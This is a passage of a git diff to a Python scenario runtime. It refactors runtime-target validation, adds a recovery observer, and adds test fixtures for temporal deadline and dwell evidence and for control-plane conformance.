= dict(snapshot.participant_behavior_history) + histories[request.participant_address] = [ + *histories.get(request.participant_address, ()), + *(participant_behavior_event_payload(event) for event in events), + ] + return ParticipantActionApplyResult( + success=False, + snapshot=snapshot.with_entries(dict(snapshot.entries), participant_behavior_history=histories), + action_result=action_result, + diagnostics=[temporal_guarantee_diagnostic(request)], + changed_addresses=[request.participant_address], + ) + + +def assess_temporal_result( + request: ParticipantActionAdmissionRequest, + result: ParticipantActionApplyResult, + authoritative: RuntimeSnapshot, +) -> ParticipantActionApplyResult: + """Attach runtime-owned assessments without changing the native outcome.""" + + contexts = [context.shared_time for context in request.temporal_contexts if context.shared_time is not None] + if not contexts: + return result + assessments = [] + for context in contexts: + evidence = ( + request.temporal_evidence + if context.binding.temporal_kind == "dwell" + else tuple(result.action_result.temporal_evidence) + ) + assessments.append(_assess_context(context, request, authoritative, evidence, native_execution="reported")) + histories = dict(result.snapshot.participant_behavior_history) + history = list(histories[request.participant_address]) + terminal = ParticipantBehaviorHistoryEventModel.model_validate(history[-1]) + history[-1] = participant_behavior_event_payload(terminal.model_copy(update={"temporal_assessments": assessments})) + histories[request.participant_address] = history + satisfied = all(assessment.status == "met" for assessment in assessments) + return cast( + ParticipantActionApplyResult, + replace( + result, + success=result.success and satisfied, + snapshot=result.snapshot.with_entries( + dict(result.snapshot.entries), participant_behavior_history=histories + ), + diagnostics=[*result.diagnostics, *(() if satisfied else (temporal_guarantee_diagnostic(request),))], + ), + ) + + +def _assess_context( + context: ParticipantTemporalExecutionContextModel, + request: ParticipantActionAdmissionRequest, + snapshot: RuntimeSnapshot, + evidence: tuple[ParticipantTemporalEvidenceModel, ...], + *, + native_execution: Literal["not_dispatched", "reported"], +) -> ParticipantTemporalAssessmentModel: + return assess_temporal_guarantee( + context, + evidence, + request.observation_boundary_address, + snapshot.time_model_state.clocks[context.binding.clock_address], + native_execution=native_execution, + ) + + +def temporal_guarantees_met(request: ParticipantActionAdmissionRequest, result: ParticipantActionApplyResult) -> bool: + """A failed or indeterminate guarantee never authorizes a native retry.""" + + if not any(context.shared_time is not None for context in request.temporal_contexts): + return True + history = result.snapshot.participant_behavior_history.get(request.participant_address, ()) + assessments = history[-1].get("temporal_assessments", ()) if history else () + return bool(assessments) and all(item["status"] == "met" for item in assessments) diff --git a/implementations/python/packages/raes_runtime/registry.py b/implementations/python/packages/raes_runtime/registry.py index 786724eba..fe3deefef 100644 --- a/implementations/python/packages/raes_runtime/registry.py +++ b/implementations/python/packages/raes_runtime/registry.py @@ -13,6 +13,7 @@ Provisioner, TimeRuntime, ) +from raes_backend_protocols.recovery_observation import RecoveryObserver from raes_contracts.observation_demand import ObservationBasis, ObservationLifecycleStage from raes_contracts.participant_binding import ParticipantActionAdmissionRequest from raes_contracts.realization_preparation import BACKEND_PREPARATION_CONTRACT @@ -22,6 +23,10 @@ from .observation_execution import ObservationRuntime from .observation_native import backend_selection_observation_runtime as _backend_selection_observation_runtime from .registry_probes import sample_participant_action_admission_request +from .registry_target_validation import ( + validate_optional_component_presence, + validate_recovery_observer_contract, +) ReferenceTimeRuntime = _time_coordinator.ReferenceTimeRuntime _TIME_CLOCK_PROBE = "time.clock.probe" @@ -39,6 +44,19 @@ class _ParticipantRuntimeMethodRequirements: bounded_concurrency: bool +@dataclass(frozen=True) +class RuntimeTargetComponents: + """Instantiated runtime target components without a manifest.""" + + provisioner: Provisioner + orchestrator: Orchestrator | None = None + evaluator: Evaluator | None = None + participant_runtime: ParticipantRuntime | None = None + time_runtime: TimeRuntime | None = None + observation_runtime: ObservationRuntime | None = None + recovery_observer: RecoveryObserver | None = None + + def _participant_runtime_method_requirements(manifest: BackendManifest) -> _ParticipantRuntimeMethodRequirements: capability = manifest.participant_runtime return _ParticipantRuntimeMethodRequirements( @@ -81,32 +99,28 @@ def _require_invokable_method( def _validate_runtime_target_shape( *, manifest: BackendManifest | None, - provisioner: Provisioner | None, - orchestrator: Orchestrator | None, - evaluator: Evaluator | None, - participant_runtime: ParticipantRuntime | None, - time_runtime: TimeRuntime | None, - observation_runtime: ObservationRuntime | None, + components: RuntimeTargetComponents, ) -> None: if manifest is None: raise ValueError("RuntimeTarget requires an explicit manifest.") - if provisioner is None: + if components.provisioner is None: raise ValueError("RuntimeTarget requires a provisioner.") - validate_profile_target(manifest, provisioner) - _validate_optional_component_presence( + validate_profile_target(manifest, components.provisioner) + validate_optional_component_presence( manifest, - orchestrator=orchestrator, - evaluator=evaluator, - participant_runtime=participant_runtime, - time_runtime=time_runtime, + orchestrator=components.orchestrator, + evaluator=components.evaluator, + participant_runtime=components.participant_runtime, + time_runtime=components.time_runtime, + recovery_observer=components.recovery_observer, ) if ( - observation_runtime is not None + components.observation_runtime is not None and manifest.observation is None and any( capability.bases != frozenset({ObservationBasis.BACKEND_SELECTED}) or not capability.stages.issubset({ObservationLifecycleStage.RETENTION}) - for capability in observation_runtime.capabilities + for capability in components.observation_runtime.capabilities ) ): raise ValueError("registry.target-shape-mismatch: observation runtime requires manifest capabilities.") @@ -115,50 +129,33 @@ def _validate_runtime_target_shape( sample_request = object() sample_admission_request = sample_participant_action_admission_request() _validate_provisioner_methods( - provisioner, + components.provisioner, sample_plan, sample_snapshot, preparation=BACKEND_PREPARATION_CONTRACT in manifest.supported_contract_versions, ) - _validate_orchestrator_methods(orchestrator, sample_plan, sample_snapshot) - _validate_evaluator_methods(evaluator, sample_plan, sample_snapshot) + _validate_orchestrator_methods(components.orchestrator, sample_plan, sample_snapshot) + _validate_evaluator_methods(components.evaluator, sample_plan, sample_snapshot) _validate_participant_runtime_methods( - participant_runtime, + components.participant_runtime, sample_request, sample_admission_request, sample_snapshot, requirements=_participant_runtime_method_requirements(manifest), ) _validate_time_runtime_methods( - time_runtime, + components.time_runtime, sample_plan, sample_snapshot, require_coordinated_participant_reset=bool( manifest.time and manifest.time.supports_coordinated_participant_reset ), ) - - -def _validate_optional_component_presence( - manifest: BackendManifest, - *, - orchestrator: Orchestrator | None, - evaluator: Evaluator | None, - participant_runtime: ParticipantRuntime | None, - time_runtime: TimeRuntime | None, -) -> None: - if manifest.has_orchestrator != (orchestrator is not None): - raise ValueError("registry.target-shape-mismatch: orchestrator presence does not match the manifest.") - if manifest.has_evaluator != (evaluator is not None): - raise ValueError("registry.target-shape-mismatch: evaluator presence does not match the manifest.") - if manifest.has_participant_runtime != (participant_runtime is not None): - raise ValueError("registry.target-shape-mismatch: participant_runtime presence does not match the manifest.") - if manifest.has_time != (time_runtime is not None): - raise ValueError("registry.target-shape-mismatch: time_runtime presence does not match the manifest.") - if manifest.time and manifest.time.supports_coordinated_participant_reset and participant_runtime is None: - raise ValueError( - "registry.target-shape-mismatch: coordinated participant reset requires a participant_runtime." - ) + validate_recovery_observer_contract( + manifest, + components.recovery_observer, + require_invokable_method=_require_invokable_method, + ) def _validate_provisioner_methods( @@ -399,31 +396,23 @@ class RuntimeTarget: participant_runtime: ParticipantRuntime | None = None time_runtime: TimeRuntime | None = None observation_runtime: ObservationRuntime | None = None + recovery_observer: RecoveryObserver | None = None def __post_init__(self) -> None: _validate_runtime_target_shape( manifest=self.manifest, - provisioner=self.provisioner, - orchestrator=self.orchestrator, - evaluator=self.evaluator, - participant_runtime=self.participant_runtime, - time_runtime=self.time_runtime, - observation_runtime=self.observation_runtime, + components=RuntimeTargetComponents( + provisioner=self.provisioner, + orchestrator=self.orchestrator, + evaluator=self.evaluator, + participant_runtime=self.participant_runtime, + time_runtime=self.time_runtime, + observation_runtime=self.observation_runtime, + recovery_observer=self.recovery_observer, + ), ) -@dataclass(frozen=True) -class RuntimeTargetComponents: - """Instantiated runtime target components without a manifest.""" - - provisioner: Provisioner - orchestrator: Orchestrator | None = None - evaluator: Evaluator | None = None - participant_runtime: ParticipantRuntime | None = None - time_runtime: TimeRuntime | None = None - observation_runtime: ObservationRuntime | None = None - - @dataclass(frozen=True) class RuntimeTargetDescriptor: """Factories for manifest introspection and target creation.""" @@ -472,12 +461,7 @@ def create(self, name: str, **config: Any) -> RuntimeTarget: _validate_runtime_target_shape( manifest=manifest, - provisioner=components.provisioner, - orchestrator=components.orchestrator, - evaluator=components.evaluator, - participant_runtime=components.participant_runtime, - time_runtime=components.time_runtime, - observation_runtime=components.observation_runtime, + components=components, ) return RuntimeTarget( @@ -489,6 +473,7 @@ def create(self, name: str, **config: Any) -> RuntimeTarget: participant_runtime=components.participant_runtime, time_runtime=components.time_runtime, observation_runtime=components.observation_runtime, + recovery_observer=components.recovery_observer, ) def list_backends(self) -> list[str]: @@ -496,3 +481,11 @@ def list_backends(self) -> list[str]: def is_registered(self, name: str) -> bool: return name in self._descriptors + + +def participant_temporal_probe_manager(target: object, *, stochastic_controls: object = ()) -> object: + """Create the runtime facade used by the finite temporal conformance probe.""" + + from .manager import RuntimeManager + + return RuntimeManager(target, stochastic_controls=stochastic_controls) diff --git a/implementations/python/packages/raes_runtime/registry_target_validation.py b/implementations/python/packages/raes_runtime/registry_target_validation.py new file mode 100644 index 000000000..319fe133a --- /dev/null +++ b/implementations/python/packages/raes_runtime/registry_target_validation.py @@ -0,0 +1,68 @@ +"""Focused optional-component validation for runtime target composition.""" + +from __future__ import annotations + +from collections.abc import Callable + +from raes_backend_protocols.capabilities import BackendManifest +from raes_backend_protocols.protocols import Evaluator, Orchestrator, ParticipantRuntime, TimeRuntime +from raes_backend_protocols.recovery_observation import RecoveryObservationRequest, RecoveryObserver +from raes_contracts.runtime_state import RuntimeSnapshot + + +def validate_optional_component_presence( + manifest: BackendManifest, + *, + orchestrator: Orchestrator | None, + evaluator: Evaluator | None, + participant_runtime: ParticipantRuntime | None, + time_runtime: TimeRuntime | None, + recovery_observer: RecoveryObserver | None, +) -> None: + """Require exact agreement between optional components and their manifest declarations.""" + + if manifest.has_orchestrator != (orchestrator is not None): + raise ValueError("registry.target-shape-mismatch: orchestrator presence does not match the manifest.") + if manifest.has_evaluator != (evaluator is not None): + raise ValueError("registry.target-shape-mismatch: evaluator presence does not match the manifest.") + if manifest.has_participant_runtime != (participant_runtime is not None): + raise ValueError("registry.target-shape-mismatch: participant_runtime presence does not match the manifest.") + if manifest.has_time != (time_runtime is not None): + raise ValueError("registry.target-shape-mismatch: time_runtime presence does not match the manifest.") + if (manifest.recovery_observation is not None) != (recovery_observer is not None): + raise ValueError("registry.target-shape-mismatch: recovery_observer presence does not match the manifest.") + if manifest.time and manifest.time.supports_coordinated_participant_reset and participant_runtime is None: + raise ValueError( + "registry.target-shape-mismatch: coordinated participant reset requires a participant_runtime." + ) + + +def validate_recovery_observer_contract( + manifest: BackendManifest, + recovery_observer: RecoveryObserver | None, + *, + require_invokable_method: Callable[..., None], +) -> None: + """Validate the declared recovery observer against its single runtime call shape.""" + + if recovery_observer is None: + return + assert manifest.recovery_observation is not None + require_invokable_method( + recovery_observer, + label="recovery_observer", + method_name="observe_effect", + invocation_args=( + RecoveryObservationRequest( + operation_id="registry-probe", + operation_kind=next(iter(manifest.recovery_observation.supported_operation_kinds)), + target_scope="target:registry-probe", + run_scope="run:registry-probe", + request_commitment=f"sha256:{'0' * 64}", + baseline_snapshot=RuntimeSnapshot(), + ), + ), + ) + + +__all__ = ("validate_optional_component_presence", "validate_recovery_observer_contract") diff --git a/implementations/python/packages/raes_runtime/time_control.py b/implementations/python/packages/raes_runtime/time_control.py index a02e05563..bb358879b 100644 --- a/implementations/python/packages/raes_runtime/time_control.py +++ b/implementations/python/packages/raes_runtime/time_control.py @@ -245,6 +245,15 @@ def _synchronize_participant_clock( sync = getattr(self, "_sync_participant_execution_clock", None) sync_result = sync(method_name, str(args[0])) if sync is not None else None if sync_result is not None and not sync_result.success: + if method_name in {"advance", "jump", "resume"}: + # Due work may already have native effects. Preserve the consumed + # attempt and its evidence; portable rewind is not native rollback. + return ApplyResult( + success=False, + snapshot=sync_result.snapshot, + diagnostics=[*result.diagnostics, *sync_result.diagnostics], + changed_addresses=list(dict.fromkeys([*result.changed_addresses, *sync_result.changed_addresses])), + ) self._snapshot = predecessor return ApplyResult( success=False, diff --git a/implementations/python/pyproject.toml b/implementations/python/pyproject.toml index ec85b302d..047770826 100644 --- a/implementations/python/pyproject.toml +++ b/implementations/python/pyproject.toml @@ -1,5 +1,5 @@ [build-system] -requires = ["hatchling==1.27.0"] +requires = ["hatchling==1.32.0"] build-backend = "hatchling.build" [project] @@ -28,7 +28,7 @@ dependencies = [ "fastapi>=0.115.0", "uvicorn[standard]>=0.34.0", "sse-starlette>=2.0.0", - "asyncssh>=2.23.0", + "asyncssh>=2.24.0", "mcp>=1.28.1,<3", # Typed domain-profile validation is deliberately pinned to one inert, # in-process Draft 2020-12 implementation (issue #1202). @@ -124,6 +124,7 @@ path = "hatch_build.py" testpaths = ["tests"] pythonpath = ["../..", "src", "packages", "tests"] markers = [ + "control_plane_conformance: ADR-104 P0/P1/P2 contract, crash, and explicit nonclaim evidence", "fuzz: property-based fuzz tests (run with: pytest -m fuzz)", "integration: subprocess, build, installed-distribution, or whole-system tests (run with: pytest -m integration)", "docker: opt-in tests that require a real container runtime (run with: pytest -m docker / nox -s integration_docker)", @@ -151,6 +152,8 @@ exclude_also = [ # IO, exercised only by the opt-in docker integration tests, never in the # hermetic suite. "def _default_runner", + # A module's CLI entry guard is never taken under import-based testing. + "if __name__ == .__main__.:", ] [tool.coverage.xml] diff --git a/implementations/python/tests/_act_614_temporal_fixtures.py b/implementations/python/tests/_act_614_temporal_fixtures.py new file mode 100644 index 000000000..9cdbee3c2 --- /dev/null +++ b/implementations/python/tests/_act_614_temporal_fixtures.py @@ -0,0 +1,225 @@ +"""ACT-614 temporal fixtures.""" + +from __future__ import annotations + +from dataclasses import replace + +import yaml +from implementations.python.tests.test_dsl_437_benign_participant_execution import ( + _autonomous_manifest, + _NativeParticipantRuntime, + _scenario_yaml, +) +from raes.parser import parse_sdl +from raes_backend_stubs.stubs import create_stub_target +from raes_processor.compiler import compile_runtime_model + + +def _bound_deadline_payload(event: str = "end") -> dict: + payload = yaml.safe_load(_scenario_yaml()) + payload["temporal_constraints"]["finish-by-five"] = { + "constraint_kind": "deadline", + "clock_ref": "scenario-clock", + "subject_refs": ["action_contracts.probe-customer-portal-login"], + "end": {"tick": 5}, + "description": "The selected action event must occur no later than tick five.", + } + action = payload["action_contracts"]["probe-customer-portal-login"] + action["temporal_contracts"] = [ + { + "temporal_id": "finish", + "temporal_kind": "deadline", + "time_domain": "simulation_time", + "clock_authority": "scenario-clock", + "event_points": [event, "deadline"], + "description": "Bounded action deadline.", + "duration_ref": "finish-by-five", + "reset_boundary": "fresh-segment", + "replay_boundary": "fresh-evidence", + "ordering_basis": "shared-superdense-time", + "backend_disclosure_refs": ["timing"], + "shared_time_binding": { + "profile": "participant-shared-time/v1", + "clock_ref": "scenario-clock", + "constraint_ref": "finish-by-five", + "event_point": event, + "evidence_mode": "event", + }, + } + ] + action["backend_timing_disclosures"] = [ + { + "disclosure_id": "timing", + "disclosure_kind": "synchronization", + "support_mode": "exact", + "description": "Admission requires exact bound-event evidence from the selected backend.", + "affected_temporal_ids": ["finish"], + } + ] + return payload + + +def _temporal_target(payload: dict, runtime=None): + scenario = parse_sdl(yaml.safe_dump(payload)) + model = compile_runtime_model(scenario) + policy = next(iter(model.behavior_specifications.values())).autonomous_execution + if policy.profile == "participant-autonomous-execution/v3": + from implementations.python.tests.test_issue_899_participant_resource_budgets import _governed_manifest + + manifest = _governed_manifest() + else: + manifest = _autonomous_manifest(model) + capability = manifest.participant_runtime + offers = tuple( + replace( + offer, + temporal_contract_digests=tuple( + binding.contract_digest + for binding in policy.temporal_bindings + if binding.action_contract_address == offer.action_contract_address + ), + ) + for offer in capability.execution_bindings + ) + manifest = replace( + manifest, + capabilities=replace(manifest.capabilities, participant_runtime=replace(capability, execution_bindings=offers)), + ) + runtime = runtime or _NativeParticipantRuntime() + return scenario, replace(create_stub_target(), manifest=manifest, participant_runtime=runtime) + + +class _TemporalEvidenceRuntime(_NativeParticipantRuntime): + def __init__(self, *, mutation: str | None = None): + super().__init__() + self.mutation = mutation + self.previous_evidence = None + + def bind_autonomous_action(self, *args): + request = super().bind_autonomous_action(*args) + return replace(request, observation_boundary_evidence_refs=("content.participant-observation",)) + + def admit_actions_concurrently(self, requests, snapshot, max_in_flight): + assert len(requests) <= max_in_flight + return tuple(self.admit_action(request, snapshot) for request in requests) + + def _model_action(self, request, snapshot, *, episode_id): + from raes_contracts.contracts.participant_temporal import ParticipantTemporalEvidenceModel + + native = super()._model_action(request, snapshot, episode_id=episode_id) + evidence = [] + for context in request.temporal_contexts: + scope = context.shared_time + if scope is None or scope.binding.temporal_kind != "deadline": + continue + coordinate = scope.submitted_at.model_dump() + payload = { + "context": scope.model_dump(mode="json"), + "observation_boundary_address": request.observation_boundary_address, + "event_point": scope.binding.event_point, + "coordinate": coordinate, + "evidence_refs": ["content.participant-observation"], + } + if self.mutation == "future": + coordinate["tick"] += 10 + elif self.mutation == "event": + payload["event_point"] = "start" + elif self.mutation == "boundary": + payload["observation_boundary_address"] = "participant.observation-boundary.other" + elif self.mutation in {"episode_id", "action_instance_id"}: + payload["context"][self.mutation] = "another" + elif self.mutation == "execution_generation": + payload["context"][self.mutation] += 1 + elif self.mutation == "segment": + coordinate["segment"] += 1 + evidence.append(ParticipantTemporalEvidenceModel.model_validate(payload)) + if self.mutation == "reused" and self.previous_evidence is not None: + evidence = self.previous_evidence + self.previous_evidence = evidence + return replace( + native, + apply_result=replace(native.apply_result, snapshot=snapshot), + action_result=native.action_result.model_copy(update={"temporal_evidence": evidence}), + ) + + +def _bound_dwell_payload() -> dict: + payload = _bound_deadline_payload("start") + # The condition must be visible before dispatch, not revealed by the action. + payload["observation_boundaries"]["participant-view"] = { + "projection_basis": "Declared target condition and evidence.", + "observable_refs": ["nodes.customer-portal.services.http"], + "evidence_refs": ["content.participant-observation"], + "redaction_policy": "No backend-private data.", + "latency_profile": "continuous condition coverage", + "observer_effects": ["Observation may create service logs"], + "realized_view_disclosure": "Only declared condition and evidence.", + } + payload["temporal_constraints"].pop("finish-by-five") + payload["temporal_constraints"]["hold-window"] = { + "constraint_kind": "window", + "clock_ref": "scenario-clock", + "subject_refs": ["action_contracts.probe-customer-portal-login"], + "start": {"tick": 0}, + "end": {"tick": 10}, + "description": "The condition must hold throughout [0, 10) before dispatch.", + } + payload["temporal_constraints"]["green-cadence"]["start"] = {"tick": 10} + temporal = payload["action_contracts"]["probe-customer-portal-login"]["temporal_contracts"][0] + temporal.update( + temporal_kind="dwell", event_points=["start", "end"], window_ref="hold-window", duration_ref="hold-window" + ) + temporal["shared_time_binding"].update( + constraint_ref="hold-window", + evidence_mode="continuous", + condition_precondition_id="portal-present", + observation_boundary_ref="participant-view", + ) + return payload + + +class _DwellEvidenceRuntime(_TemporalEvidenceRuntime): + def bind_autonomous_action(self, *args): + from raes_contracts.contracts.participant_temporal import ParticipantTemporalEvidenceModel + + request = super().bind_autonomous_action(*args) + proofs = [] + for context in request.temporal_contexts: + scope = context.shared_time + if scope is None or scope.binding.temporal_kind != "dwell": + continue + if self.mutation == "missing": + continue + coverage = [{"start": {"tick": 0}, "end": {"tick": 10}, "condition_holds": True}] + if self.mutation == "gap": + coverage = [ + {"start": {"tick": 0}, "end": {"tick": 4}, "condition_holds": True}, + {"start": {"tick": 6}, "end": {"tick": 10}, "condition_holds": True}, + ] + elif self.mutation == "false": + coverage[0]["condition_holds"] = False + elif self.mutation == "endpoints": + coverage = [ + {"start": {"tick": tick}, "end": {"tick": tick}, "condition_holds": True} for tick in (0, 10) + ] + proof = { + "context": scope.model_dump(mode="json"), + "observation_boundary_address": request.observation_boundary_address, + "evidence_mode": "sampled" if self.mutation == "endpoints" else "continuous", + "condition_precondition_id": "portal-present", + "coverage": coverage, + "evidence_refs": ["content.participant-observation"], + } + if self.mutation == "wrong_condition": + proof["condition_precondition_id"] = "participant-authorized" + proofs.append(ParticipantTemporalEvidenceModel.model_validate(proof)) + return replace(request, temporal_evidence=tuple(proofs)) + + +def _activity_temporal_payload(source) -> dict: + payload = yaml.safe_load(source()) + bound = _bound_deadline_payload() + payload["action_contracts"] = bound["action_contracts"] + payload["temporal_constraints"]["finish-by-five"] = bound["temporal_constraints"]["finish-by-five"] + payload["behavior_specifications"]["participant-behavior"]["autonomous_execution"]["failure_policy"] = "stop" + return payload diff --git a/implementations/python/tests/control_applicability_model.py b/implementations/python/tests/control_applicability_model.py new file mode 100644 index 000000000..2147c58bf --- /dev/null +++ b/implementations/python/tests/control_applicability_model.py @@ -0,0 +1,219 @@ +"""Finite #1352 design projection, not an API-424 parser or RUN-320 runtime. + +K stands for a fully resolved exact context. Scope and support are trusted +inputs; immutable replacement models an atomic store, not a durability proof. +Revision-1 typed result satisfaction comes from the incumbent SEM-235 oracle. +""" + +from dataclasses import dataclass, replace +from graphlib import TopologicalSorter + +from sem235_modular_control_model import Result, Slot, compose + + +@dataclass(frozen=True) +class Node: + slot: Slot + provider: str = "A" + sinks: frozenset[str] | None = frozenset({"in"}) + loss: int | None = 0 + allowed_loss: int = 0 + + +@dataclass(frozen=True) +class Obligation: + identity: str + sinks: frozenset[str] | None + slots: tuple[str, ...] + + +@dataclass(frozen=True) +class Evaluation: + apparatus: tuple[Node, ...] + applicable: tuple[str, ...] = () + inapplicable: tuple[str, ...] = () + required: frozenset[str] = frozenset() + results: tuple[Result, ...] = () + blockers: tuple[str, ...] = () + lost: tuple[str, ...] = () + + +def evaluate(nodes, obligations, resolve, *, sink="in", cut="K0", incumbent=True): + by_ref = {node.slot.ref: node for node in nodes} + if len(by_ref) != len(nodes) or len(nodes) > 16: + raise ValueError("selection") + graph = {ref: node.slot.dependencies for ref, node in by_ref.items()} + if any(dep not in graph for deps in graph.values() for dep in deps): + raise ValueError("unknown dependency") + order = tuple(TopologicalSorter(graph).static_order()) + applicable = {ref for ref, node in by_ref.items() if node.sinks is not None and sink in node.sinks} + required = { + ref for ref, node in by_ref.items() if node.slot.mandatory and (node.sinks is None or ref in applicable) + } + blockers, inapplicable = set(), set() + for obligation in obligations: + if obligation.sinks is None: + blockers.add("applicability:" + obligation.identity) + elif sink not in obligation.sinks: + inapplicable.add(obligation.identity) + else: + if not obligation.slots or not set(obligation.slots) <= applicable: + blockers.add("coverage:" + obligation.identity) + required.update(set(obligation.slots) & by_ref.keys()) + # The graph was admitted before invocation. Required input closure does not + # change a slot's type: required advice is still advice, never a decision. + for ref in reversed(order): + if ref in required: + required.update(graph[ref]) + selected = applicable | required + # Optional consumers also need explicit failed predecessor records. + for ref in reversed(order): + if ref in selected: + selected.update(graph[ref]) + results = {} + for ref in order: + if ref not in selected: + continue + node = by_ref[ref] + predecessors = tuple(results[dep] for dep in graph[ref]) + status = "resolved" + if ref not in applicable: + status = "unknown" + elif node.loss is None or not 0 <= node.loss <= node.allowed_loss: + status = "unsupported" + elif any(not _input_satisfied(result) for result in predecessors): + status = "missing" + result = ( + _resolve(node, predecessors, cut, resolve) + if status == "resolved" + else Result(ref, node.slot.kind, status=status, cut=cut) + ) + results[ref] = result + slots = tuple(replace(by_ref[ref].slot, mandatory=ref in required) for ref in sorted(selected)) + canonical = tuple(results[ref] for ref in sorted(results)) + blockers.update(compose(slots, canonical, cut=cut, incumbent=incumbent)) + lost = tuple(ref for ref in sorted(results) if ref not in required and not _input_satisfied(results[ref])) + return Evaluation( + nodes, + tuple(sorted(applicable)), + tuple(sorted(inapplicable)), + frozenset(required), + canonical, + tuple(sorted(blockers)), + lost, + ) + + +def _input_satisfied(result): + return result.status == "resolved" and (result.kind != "decision" or result.payload == "permit") + + +def _resolve(node, predecessors, cut, resolve): + try: + result = resolve(node, predecessors, cut) + except Exception: # Deliberate per-invocation isolation; no exception value enters evidence. + return Result(node.slot.ref, node.slot.kind, status="failed", cut=cut) + if result is None: + return Result(node.slot.ref, node.slot.kind, status="missing", cut=cut) + if not isinstance(result, Result) or (result.slot, result.kind) != (node.slot.ref, node.slot.kind): + return Result(node.slot.ref, node.slot.kind, status="failed", cut=cut) + if result.cut != cut: + return Result(node.slot.ref, node.slot.kind, status="stale", cut=cut) + return result + + +@dataclass(frozen=True) +class Effect: + identity: str + kind: str = "audit" + target: str = "audit" + phase: str = "independent" + predecessors: tuple[str, ...] = () + authorized: bool = True + supported: bool = True + accepts: frozenset[str] = frozenset({"deny", "withhold", "permit"}) + + +def effect_decision(decisions, effects, *, applied=frozenset(), incumbent=True): + """Each call is a fresh evaluation; applied contains trusted exact receipts. + + Parent-target decisions in the legacy-shaped input are conservatively + projected before phase handling. This is not a wire-history migration. + """ + index = {effect.identity: effect for effect in effects} + if len(index) != len(effects) or "parent" in index: + raise ValueError("effect identity") + graph = {key: set(effect.predecessors) for key, effect in index.items()} + graph["parent"] = set() + opinions = set(decisions) + for effect in effects: + if effect.target == "parent" and effect.kind in {"permit", "deny", "withhold"}: + opinions.add(effect.kind) + continue + if effect.phase == "predecessor": + graph["parent"].add(effect.identity) + elif effect.phase == "subsequent": + graph[effect.identity].add("parent") + elif effect.phase != "independent": + raise ValueError("phase") + if any(dep not in graph for deps in graph.values() for dep in deps): + raise ValueError("unknown effect predecessor") + tuple(TopologicalSorter(graph).static_order()) + decision = "deny" if "deny" in opinions or not incumbent else "withhold" if opinions - {"permit"} else "permit" + root_decision = decision + if decision == "permit" and not graph["parent"] <= applied: + decision = "withhold" + runnable = [] + for effect in effects: + if effect.target == "parent" and effect.kind in {"permit", "deny", "withhold"}: + continue + if effect.identity in applied or not effect.authorized or not effect.supported: + continue + if not graph[effect.identity] <= applied: + continue + if effect.phase == "predecessor" and root_decision != "permit": + continue + if effect.phase == "subsequent" and decision != "permit": + continue + if effect.phase == "independent" and decision not in effect.accepts: + continue + runnable.append(effect.identity) + return decision, tuple(sorted(runnable)) + + +@dataclass(frozen=True) +class State: + head: int = 0 + cells: tuple[tuple[str, int], ...] = () + history: tuple[str, ...] = () + intents: tuple[str, ...] = () + + +@dataclass(frozen=True) +class Write: + scope: str + before: int + after: int + on: str = "evaluation" + + +def commit(state, expected, decision, writes=(), intents=(), *, succeeds=True): + """Intents are already independently admitted; this function executes none. + + This finite projection rejects multiple writes to a cell; it does not + model the optional declared serial-state transition extension. + """ + if state.head != expected: + return state, "stale" + cells = dict(state.cells) + selected = tuple(write for write in writes if write.on == "evaluation" or decision == "permit") + if len({write.scope for write in selected}) != len(selected): + return state, "state-conflict" + if any(write.on not in {"evaluation", "release"} or cells.get(write.scope) != write.before for write in writes): + return state, "state-conflict" + if not succeeds: + return state, "commit-failed" + cells.update((write.scope, write.after) for write in selected) + return State( + state.head + 1, tuple(sorted(cells.items())), (*state.history, decision), (*state.intents, *intents) + ), "committed" diff --git a/implementations/python/tests/control_plane_conformance_fixtures.py b/implementations/python/tests/control_plane_conformance_fixtures.py new file mode 100644 index 000000000..48f06a814 --- /dev/null +++ b/implementations/python/tests/control_plane_conformance_fixtures.py @@ -0,0 +1,215 @@ +"""Test-only ADR-104 compositions and an independently surviving effect witness.""" + +from __future__ import annotations + +import json +import os +from collections.abc import Iterator +from contextlib import ExitStack, contextmanager +from dataclasses import replace +from pathlib import Path + +from raes_backend_protocols.capabilities import RecoveryObservationCapabilities +from raes_backend_protocols.recovery_observation import ( + RecoveryEffectClassification, + RecoveryObservationRequest, + RecoveryObservationResult, +) +from raes_backend_stubs.stubs import create_stub_target +from raes_contracts.plan_projection import provisioning_plan_model +from raes_contracts.planning import ProvisioningPlan +from raes_contracts.runtime_state import OperationKind, OperationState +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_profiles import ControlPlaneProfile +from raes_runtime.control_plane_security import ControlPlaneIdentity, ControlPlaneRole, ControlPlaneSecurityConfig +from raes_runtime.control_plane_store import InMemoryControlPlaneStore +from raes_runtime.control_plane_store_local import LocalControlPlaneStore +from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload +from starlette.testclient import TestClient + +PROFILES = ("P0", "P1", "P2") +DURABLE_PROFILES = ("P1", "P2") +RUN_SCOPE = "run:conformance" +TARGET_SCOPE = "target:stub" +KEY = "conformance-key" + + +def identities() -> dict[str, ControlPlaneIdentity]: + alice = ControlPlaneIdentity(identity="alice", roles=frozenset({ControlPlaneRole.OPERATOR}), target_name="stub") + return { + "alice": alice, + "bob": replace(alice, identity="bob"), + "changed-scope": replace(alice, roles=frozenset({ControlPlaneRole.OPERATOR, ControlPlaneRole.AUDITOR})), + "other-target": replace(alice, target_name="other"), + } + + +def witness_events(path: Path) -> list[dict[str, object]]: + return [json.loads(line) for line in path.read_text(encoding="utf-8").splitlines()] if path.exists() else [] + + +def record_effect(path: Path, event: str, operation_id: str, *, snapshot=None) -> None: + # This is a synthetic backend's own state, outside the control-plane store. + with path.open("a", encoding="utf-8") as stream: + payload = {"event": event, "operation_id": operation_id} + if snapshot is not None: + payload["snapshot"] = _snapshot_payload(snapshot) + stream.write(json.dumps(payload) + "\n") + stream.flush() + os.fsync(stream.fileno()) + + +class WitnessProvisioner: + def __init__(self, delegate, witness: Path, boundary=None) -> None: + self.delegate = delegate + self.witness = witness + self.boundary = boundary or (lambda _name: None) + + def validate(self, plan): + return self.delegate.validate(plan) + + def apply(self, plan, snapshot): + self.boundary("before-invoke") + assert plan.operation_id + record_effect(self.witness, "invoke", plan.operation_id) + self.boundary("after-dispatch") + result = self.delegate.apply(plan, snapshot) + assert result.success + record_effect(self.witness, "applied", plan.operation_id, snapshot=result.snapshot) + self.boundary("after-invoke") + return result + + +class WitnessObserver: + def __init__(self, witness: Path) -> None: + self.witness = witness + + def observe_effect(self, request: RecoveryObservationRequest) -> RecoveryObservationResult: + applied = next( + ( + item + for item in witness_events(self.witness) + if item["event"] 